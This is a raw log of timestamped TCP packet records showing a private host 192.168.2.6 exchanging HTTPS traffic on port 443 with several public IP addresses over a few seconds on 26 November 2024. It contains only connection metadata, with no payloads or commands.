Nov 26, 2024 16:31:22.047746897 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.047760963 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.047775984 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.047790051 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.047816038 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.047825098 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.047833920 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.047888994 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.047902107 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.047914982 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.047960997 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.128591061 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.128608942 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.128669977 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.128678083 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.128693104 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.128730059 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.128772974 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.128789902 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.128804922 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.128855944 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.128873110 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.128896952 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.128911972 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.128916979 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.128927946 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.128948927 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.128978014 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.128998995 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.129014969 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.129060984 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.129070044 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.129112959 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.129271030 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.129297972 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.129348993 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.129357100 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.129388094 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.129403114 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.143218994 CET	443	49740	20.234.120.54	192.168.2.6
Nov 26, 2024 16:31:22.143333912 CET	49740	443	192.168.2.6	20.234.120.54
Nov 26, 2024 16:31:22.149414062 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.149429083 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.149506092 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.149519920 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.149569035 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.161159039 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.161179066 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.161263943 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.161281109 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.161334991 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.172597885 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.172612906 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.172687054 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.172698975 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.172746897 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.177351952 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.177413940 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.177433014 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.177478075 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.217381954 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.217408895 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.217466116 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.217473030 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.217519999 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.465765953 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.465785980 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.465823889 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.465859890 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.465902090 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.465923071 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.465950966 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.465965033 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.466023922 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.467370987 CET	443	49739	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:22.512918949 CET	49739	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:22.565175056 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.565213919 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.565270901 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.565284967 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.565330982 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.570205927 CET	49739	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:22.570220947 CET	443	49739	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:22.570795059 CET	49739	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:22.570801020 CET	443	49739	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:22.650284052 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.650322914 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.650409937 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.650418043 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.650469065 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.702579975 CET	443	49742	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:22.746731043 CET	49742	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:22.748862982 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.748897076 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.748953104 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.748963118 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.749022007 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.751049995 CET	49742	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:22.751055002 CET	443	49742	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:22.751921892 CET	49742	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:22.751926899 CET	443	49742	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:22.802587032 CET	443	49741	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:22.839998007 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.840035915 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.840087891 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.840095997 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.840162992 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.843899965 CET	49741	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:22.918143988 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.918215990 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.918275118 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.918282986 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.918346882 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.930490971 CET	443	49739	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:22.930514097 CET	443	49739	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:22.930593967 CET	49739	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:22.930613995 CET	443	49739	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:22.931791067 CET	443	49739	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:22.931898117 CET	49739	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:22.960887909 CET	49741	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:22.960903883 CET	443	49741	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:22.961447954 CET	49741	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:22.961453915 CET	443	49741	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:22.980042934 CET	49739	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:22.980042934 CET	49739	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:22.980066061 CET	443	49739	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:22.980077028 CET	443	49739	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:22.990175962 CET	49746	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:22.990199089 CET	443	49746	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:22.990277052 CET	49746	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:22.990483999 CET	49746	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:22.990510941 CET	443	49746	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:22.990576029 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.990609884 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.990659952 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.990669966 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.990720987 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:23.053024054 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:23.053071022 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:23.053136110 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:23.053143024 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:23.053219080 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:23.104888916 CET	49747	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:23.104922056 CET	443	49747	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:23.105019093 CET	49748	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:23.105047941 CET	443	49748	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:23.105062008 CET	49747	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:23.105098009 CET	49748	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:23.121001005 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:23.121043921 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:23.121079922 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:23.121094942 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:23.121135950 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:23.121153116 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:23.133881092 CET	49748	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:23.133894920 CET	443	49748	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:23.134177923 CET	49747	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:23.134191036 CET	443	49747	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:23.162915945 CET	443	49742	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:23.162966013 CET	443	49742	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:23.163058996 CET	49742	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:23.184345007 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:23.184381008 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:23.184422970 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:23.184428930 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:23.184488058 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:23.188416958 CET	49742	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:23.188427925 CET	443	49742	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:23.188590050 CET	49751	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:23.188611984 CET	443	49751	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:23.188730001 CET	49751	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:23.188957930 CET	49751	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:23.188976049 CET	443	49751	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:23.190593958 CET	443	49744	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:23.196475029 CET	49744	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:23.196491957 CET	443	49744	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:23.196994066 CET	49744	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:23.197000980 CET	443	49744	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:23.228091955 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:23.228140116 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:23.228491068 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:23.228765011 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:23.228838921 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:23.228899002 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:23.229574919 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:23.229603052 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:23.237490892 CET	49753	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:23.237504005 CET	443	49753	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:23.237875938 CET	49753	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:23.243648052 CET	443	49743	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:23.252983093 CET	49753	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:23.252998114 CET	443	49753	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:23.270978928 CET	49743	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:23.270996094 CET	443	49743	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:23.271562099 CET	49743	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:23.271568060 CET	443	49743	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:23.298167944 CET	443	49741	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:23.298216105 CET	443	49741	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:23.298296928 CET	49741	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:23.298640966 CET	49741	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:23.298662901 CET	443	49741	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:23.298675060 CET	49741	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:23.298681974 CET	443	49741	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:23.302256107 CET	49754	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:23.302284956 CET	443	49754	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:23.302350044 CET	49754	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:23.302546978 CET	49754	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:23.302558899 CET	443	49754	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:23.397618055 CET	49740	443	192.168.2.6	20.234.120.54
Nov 26, 2024 16:31:23.397634029 CET	443	49740	20.234.120.54	192.168.2.6
Nov 26, 2024 16:31:23.398118973 CET	443	49740	20.234.120.54	192.168.2.6
Nov 26, 2024 16:31:23.398180008 CET	49740	443	192.168.2.6	20.234.120.54
Nov 26, 2024 16:31:23.398202896 CET	49740	443	192.168.2.6	20.234.120.54
Nov 26, 2024 16:31:23.410955906 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:23.421643972 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:23.421649933 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:23.432523012 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:23.443331003 CET	443	49740	20.234.120.54	192.168.2.6
Nov 26, 2024 16:31:23.445281982 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:23.445291996 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:23.456734896 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:23.456751108 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:23.458935976 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:23.458956003 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:23.647134066 CET	443	49744	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:23.647221088 CET	443	49744	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:23.647320986 CET	49744	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:23.647638083 CET	49744	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:23.647659063 CET	443	49744	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:23.647696018 CET	49744	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:23.647703886 CET	443	49744	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:23.652209997 CET	49757	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:23.652244091 CET	443	49757	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:23.652307987 CET	49757	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:23.652539968 CET	49757	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:23.652551889 CET	443	49757	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:23.712274075 CET	443	49743	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:23.712341070 CET	443	49743	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:23.712414980 CET	49743	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:23.712735891 CET	49743	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:23.712754011 CET	443	49743	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:23.712788105 CET	49743	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:23.712794065 CET	443	49743	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:23.715516090 CET	49758	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:23.715614080 CET	443	49758	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:23.716017962 CET	49758	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:23.716144085 CET	49758	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:23.716181993 CET	443	49758	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:23.726692915 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:23.726720095 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:23.726874113 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:23.748811960 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:23.748832941 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:23.774698019 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:23.774738073 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:23.774899960 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:23.775243044 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:23.775254965 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:23.941593885 CET	443	49740	20.234.120.54	192.168.2.6
Nov 26, 2024 16:31:23.941679955 CET	49740	443	192.168.2.6	20.234.120.54
Nov 26, 2024 16:31:23.942281961 CET	443	49740	20.234.120.54	192.168.2.6
Nov 26, 2024 16:31:23.942342043 CET	443	49740	20.234.120.54	192.168.2.6
Nov 26, 2024 16:31:23.942363977 CET	49740	443	192.168.2.6	20.234.120.54
Nov 26, 2024 16:31:23.942393064 CET	49740	443	192.168.2.6	20.234.120.54
Nov 26, 2024 16:31:23.949259996 CET	49740	443	192.168.2.6	20.234.120.54
Nov 26, 2024 16:31:23.949273109 CET	443	49740	20.234.120.54	192.168.2.6
Nov 26, 2024 16:31:23.949280977 CET	49740	443	192.168.2.6	20.234.120.54
Nov 26, 2024 16:31:23.949325085 CET	49740	443	192.168.2.6	20.234.120.54
Nov 26, 2024 16:31:23.951451063 CET	49761	443	192.168.2.6	20.234.120.54
Nov 26, 2024 16:31:23.951487064 CET	443	49761	20.234.120.54	192.168.2.6
Nov 26, 2024 16:31:23.951579094 CET	49761	443	192.168.2.6	20.234.120.54
Nov 26, 2024 16:31:23.951909065 CET	49761	443	192.168.2.6	20.234.120.54
Nov 26, 2024 16:31:23.951917887 CET	443	49761	20.234.120.54	192.168.2.6
Nov 26, 2024 16:31:24.867384911 CET	443	49746	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:24.868180990 CET	49746	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:24.868201971 CET	443	49746	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:24.868921041 CET	49746	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:24.868926048 CET	443	49746	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:24.951092005 CET	443	49747	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:24.951438904 CET	49747	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:24.951446056 CET	443	49747	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:24.952289104 CET	443	49747	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:24.952361107 CET	49747	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:24.953597069 CET	443	49748	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:24.953793049 CET	49748	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:24.953808069 CET	443	49748	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:24.954649925 CET	49747	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:24.954660892 CET	443	49748	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:24.954705954 CET	443	49747	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:24.954744101 CET	49748	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:24.954817057 CET	49747	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:24.954823971 CET	443	49747	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:24.955802917 CET	49748	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:24.955852985 CET	443	49748	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:24.955939054 CET	49748	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:24.955944061 CET	443	49748	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:24.993580103 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:24.994374037 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:24.994395971 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:24.995369911 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:24.995435953 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:24.995929956 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:24.995942116 CET	443	49751	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:24.995986938 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:24.996117115 CET	49747	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:24.996337891 CET	49748	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:24.996475935 CET	49751	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:24.996490955 CET	443	49751	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:24.996661901 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:24.996673107 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:24.997484922 CET	443	49751	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:24.997545004 CET	49751	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:24.997977972 CET	49751	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:24.998034000 CET	443	49751	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:24.998287916 CET	49751	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:24.998294115 CET	443	49751	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:25.042778015 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:25.042903900 CET	49751	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:25.233534098 CET	443	49754	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:25.233828068 CET	443	49753	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:25.234184980 CET	49754	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:25.234198093 CET	443	49754	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:25.235826969 CET	49754	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:25.235831022 CET	443	49754	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:25.243601084 CET	49753	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:25.243618965 CET	443	49753	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:25.244383097 CET	49753	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:25.244388103 CET	443	49753	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:25.299766064 CET	49762	443	192.168.2.6	20.12.23.50
Nov 26, 2024 16:31:25.299787045 CET	443	49762	20.12.23.50	192.168.2.6
Nov 26, 2024 16:31:25.299973011 CET	49762	443	192.168.2.6	20.12.23.50
Nov 26, 2024 16:31:25.300430059 CET	49748	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:25.300472975 CET	443	49748	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:25.300586939 CET	443	49748	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:25.300589085 CET	49748	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:25.300628901 CET	49748	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:25.301270962 CET	49762	443	192.168.2.6	20.12.23.50
Nov 26, 2024 16:31:25.301280022 CET	443	49762	20.12.23.50	192.168.2.6
Nov 26, 2024 16:31:25.503902912 CET	443	49746	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:25.503973961 CET	443	49746	13.107.246.63	192.168.2.6
